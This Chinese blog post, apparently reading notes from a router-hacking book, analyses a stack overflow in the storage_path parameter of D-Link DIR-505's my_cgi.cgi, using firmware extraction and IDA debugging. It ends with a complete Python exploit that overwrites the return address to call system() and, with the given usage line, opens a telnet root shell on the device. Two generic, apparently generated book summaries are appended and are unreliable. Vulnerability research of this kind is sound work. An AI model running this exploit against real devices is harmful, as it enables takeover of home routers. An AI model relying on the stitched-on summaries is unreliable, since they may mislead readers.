揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析

固件下载地址
漏洞描述如下。
这里写图片描述
下载之后解压缩得到DIR505A1_FW108B10.bin,通过binwalk提取出文件系统。
这里写图片描述
我们使用下面的脚本直接进行动态调试。根据my_cgi.cgi main函数反编译后的结果可知脚本中CONTENT-TYPE不能为multipart/form-data,SCRIPT_NAME不能为HNAP1。
这里写图片描述
这里写图片描述
漏洞在于处理POST参数中storage_path参数的值时发生了缓冲区溢出,所以需要构造storage_path=xxx形式的输入。IDA中显示storage_path有八处调用。
这里写图片描述
在这八处调用中有一个get_input_entries函数,不妨先看看这个函数。运行脚本附加之后在get_input_entries调用位置0x0040A638下断点。通过动态调试+静态分析可以将该函数循环体的部分还原成如下所示的伪代码。该函数循环体的部分也就是红色块左边的部分,s3来自第二个参数a1也就是CONTENT_LENGTH,但是该函数中没有大小限制,如果CONTENT_LENGTH大于buf的长度就可能造成溢出。
这里写图片描述
这里写图片描述
这里写图片描述
阅读红色块右边部分的代码可以得知参数的伪造需要遵照storage_path=xxx的形式,因为此时get_input_entries函数不会对参数值调用replace_special_char函数进行解码而是直接进入返回流程,否则get_input_entries函数在执行replace_special_char函数时会报错,进而导致程序崩溃。
这里写图片描述
查看main+0x7F8处对get_input_entries的调用可以得知CONTENT_LENGTH来自HTTP协议的content-length字段,这个值是攻击者可控的。验证一下POC中的偏移,确实是正确的。
这里写图片描述
在IDA中寻找system的交叉引用,发现get_remote_mac+CC处调用了system("command"),且参数command布置在返回地址偏移+0x28处即可。
这里写图片描述
按照DIR505L-storage_path.py 192.168.0.1 "busybox telnetd -l /bin/sh"执行下面的代码就可以获得shell了。

#!/usr/bin/env python
# #

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/my_cgi.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * 477472   # Stack filler
buf += "\x00\x40\x5B\x1C"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
### 回答1: 《揭秘家用路由器0day漏洞挖掘技术》是一本讲解家用路由器漏洞挖掘技术书籍。这本书主要讲述了路由器漏洞的挖掘原理、方法和步骤,以及如何利用漏洞获取系统的管理员权限。 书中首先介绍了家用路由器的基本原理和工作模式,以及路由器的基本安全机制,包括密码验证、防火墙等,再讲述了路由器漏洞的基础知识,如堆栈溢出、格式化字符串漏洞等,为读者打下了扎实的理论基础。 接着,书中详细讲解了路由器漏洞的挖掘方法和技巧,包括静态分析、动态分析和Fuzzing技术,其中尤其强调了Fuzzing技术的重要性。Fuzzing技术是一种自动化的漏洞测试方法,通过向系统输入大量随机的无效数据,来寻找系统的漏洞,是现代漏洞挖掘技术中不可缺少的一部分。 最后,书中还分享了一些实用的漏洞利用技巧,如ROP链、GOT覆盖等,帮助读者能够深入理解漏洞利用的原理和方法,更好地应对各种复杂情况。 总的来说,《揭秘家用路由器0day漏洞挖掘技术》是一本非常实用的技术书籍,对于研究家用路由器安全的人员来说是一本不错的参考书。同时,对于网络安全爱好者,这本书也有很好的启发和帮助作用。 ### 回答2: 《揭秘家用路由器0day漏洞挖掘技术》是一份技术文档,主要介绍了基于路由器0day漏洞挖掘技术和攻击方法。首先,文档介绍了路由器的基本结构和工作原理,包括路由器的硬件和软件组成,以及路由器的主要功能。其次,文档讲解了如何使用路由器的操作系统和开源工具进行漏洞分析和挖掘。最后,文档介绍了一些实际案例,包括路由器上的重大漏洞和针对路由器的攻击手段。 在文档中,作者重点介绍了路由器中常见的漏洞类型,包括缓冲区溢出、格式化字符串漏洞等,以及漏洞挖掘的一般方法。特别是在讲解缓冲区溢出漏洞时,作者详细地介绍了漏洞的原理、危害和检测方法,为有志于从事漏洞挖掘工作的安全研究员提供了有益的指导和参考。 除了讲解漏洞挖掘技术,文档还介绍了路由器中常见的攻击手段,如ARP欺骗、DNS劫持、端口扫描和DDoS攻击等。同时,文档也指出了如何通过安全配置和固件升级等方法来提高路由器的安全性。 总之,这份文档从技术方面全面详细地介绍了家用路由器漏洞和攻击,为安全研究工作者提供了更深入的认识和了解,也提醒用户关注家用路由器的安全性。需要指出的是,本文档旨在为安全研究和教育提供帮助,对非法攻击行为不作任何支持或鼓励。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值